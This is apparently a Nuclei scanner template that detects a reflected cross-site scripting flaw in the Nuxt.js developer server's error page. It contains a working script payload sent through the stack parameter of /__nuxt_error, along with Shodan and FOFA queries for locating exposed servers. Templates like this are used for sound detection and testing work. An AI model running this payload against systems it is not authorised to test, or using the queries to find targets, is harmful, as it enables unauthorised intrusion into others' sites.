漏洞描述
The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.
id: nuxt-js-xss
info:
name: Nuxt.js Error Page - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.
reference:
- https://huntr.dev/bounties/70ac720d-c932-4ed3-98b1-dd2cbcb90185/
- https://bryces.io/blog/nuxt3
- https://twitter.com/fofabot/status/1669339995780558849
metadata:
verified: true
max-request: 1
shodan-query: html:"buildAssetsDir" "nuxt"
fofa-query: body="buildAssetsDir" && body="__nuxt"
tags: huntr,xss,nuxtjs,vuln
variables:
payload: "<script>alert(document.domain)</script>"
http:
- method: GET
path:
- "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{payload}}"
- "window.__NUXT__"
condition: and
- type: word
part: header
words:
- "text/html"
# digest: 4a0a0047304502200e333619d24152d130a56ff25157b04af65df1dcad671f0df54ed41ef81b1b7f022100ca15d5a6b6fbb8810199f5f0280b8d07080264dcd6abcd683385006b39bbd198:922c64590222798bb761d5b6d8e72950